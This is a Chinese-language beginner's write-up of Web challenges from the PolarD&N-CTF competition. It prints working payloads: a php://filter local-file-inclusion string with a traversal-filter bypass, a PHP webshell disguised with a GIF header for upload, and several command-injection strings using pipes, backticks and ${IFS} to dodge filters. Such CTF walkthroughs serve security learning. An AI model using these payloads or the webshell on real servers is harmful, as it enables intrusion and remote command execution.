新手也能玩转PolarD&N-CTF:从Web签到题到文件上传的保姆级通关笔记
第一次接触CTF比赛时,面对各种Web安全题目完全不知从何下手。直到参加了PolarD&N-CTF的Web方向比赛,才真正理解了"从零到一"的突破过程。本文将用最直白的语言,记录我从签到题一路通关到文件上传题的完整历程,特别适合刚入门的新手参考。
1. 初识CTF:从签到题开始
签到题通常是比赛中最简单的存在,但第一次遇到时还是让我手足无措。题目页面空空如也,没有任何提示。这时需要掌握CTF的第一个核心技能:信息搜集。
使用Burp Suite抓包后,在Cookie中发现了一个base64编码的字符串。解码后发现提示:
/data/index.php访问该页面后,源码中给出了关键信息:
if(isset($_GET['file'])){ $file = str_replace('../', '', $_GET['file']); include($file); }这里考察的是目录穿越漏洞和PHP伪协议的利用。经过多次尝试,最终payload如下:
?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag注意:使用
..././代替../是为了绕过简单的字符串替换过滤
2. 信息搜集:robots.txt与源码审计
在"robots"这道题中,题目描述暗示了需要查看robots.txt文件:
User-agent: * Disallow: /fl0g.php访问/fl0g.php直接获得flag。这类题目考察的是对Web标准协议的了解程度。
另一个典型例子是"蜜雪冰城吉警店",看似复杂的界面其实只需要:
- 按F12打开开发者工具
- 找到某个元素的id属性
- 将其值改为9
- 点击按钮即可获得flag
3. 文件上传漏洞实战
"ezupload"是我遇到的第一个文件上传题,也是印象最深刻的一题。以下是详细步骤:
- 准备一个简单的PHP webshell:
<?php system($_GET['cmd']); ?>- 上传时修改Content-Type为image/gif
- 添加GIF文件头到webshell前:
GIF89a <?php system($_GET['cmd']); ?>- 上传成功后,访问文件并执行命令:
/upload/shell.gif?cmd=ls关键点:很多CTF题目只检查文件头,不验证完整文件内容
4. 命令执行漏洞的多种玩法
"简单rce"这道题展示了命令执行的不同绕过技巧:
$ip = $_GET['ip']; $cmd = "ping -c 4 {$ip}"; exec($cmd, $res);绕过方法一:使用反引号执行命令
?ip=127.0.0.1|`ls`绕过方法二:用${IFS}代替空格
?ip=127.0.0.1|cat${IFS}flag.txt绕过方法三:使用制表符%09
?ip=127.0.0.1|cat%09/fl*5. 变量覆盖与特殊技巧
"$$"这道题展示了PHP变量覆盖的威力:
$c = $_GET['c']; $$c = $_GET[$c]; var_dump($$c);通过设置?c=GLOBALS,可以dump出所有全局变量,其中就包含flag。
另一个有趣的题目是"iPhone",只需要修改User-Agent:
User-Agent: iPhone6. 工具使用心得
在实战中,几个工具特别有用:
- Burp Suite:抓包改包必备
- dirsearch:目录扫描神器
- 开发者工具:查看和修改前端代码
例如在"Don't touch me"这道题中,只需要:
- 查看源码找到隐藏的/2.php
- 删除按钮的disabled属性
- 点击按钮获取下一步提示
7. 从解题到思考的转变
最初我只会机械地跟着Writeup操作,后来逐渐学会了自主分析的方法:
- 查看页面源码和注释
- 检查HTTP头信息
- 尝试常见漏洞点(如robots.txt、.git目录等)
- 使用工具辅助信息收集
- 分析过滤逻辑,寻找绕过方法
比如在"干正则"这道题中:
$cmd = "ping -c 4 {$ip}"; @parse_str($_GET['id']); exec($cmd);通过分析发现可以利用数组覆盖$ip变量:
?id=a[0]=|ls8. 常见问题与解决方案
问题1:遇到过滤怎么办?
- 尝试大小写绕过(如ScRiPt)
- 使用编码绕过(如URL编码)
- 双写关键字(如scscriptript)
问题2:找不到flag位置?
- 检查常见目录:/var/www/html /tmp /root
- 使用find命令:
find / -name "*flag*" - 查看环境变量:
env
问题3:命令执行被限制?
- 尝试不同命令分隔符:; & && |
- 使用替代命令:cat → tac → more → less
- 利用通配符:/fla? /fl*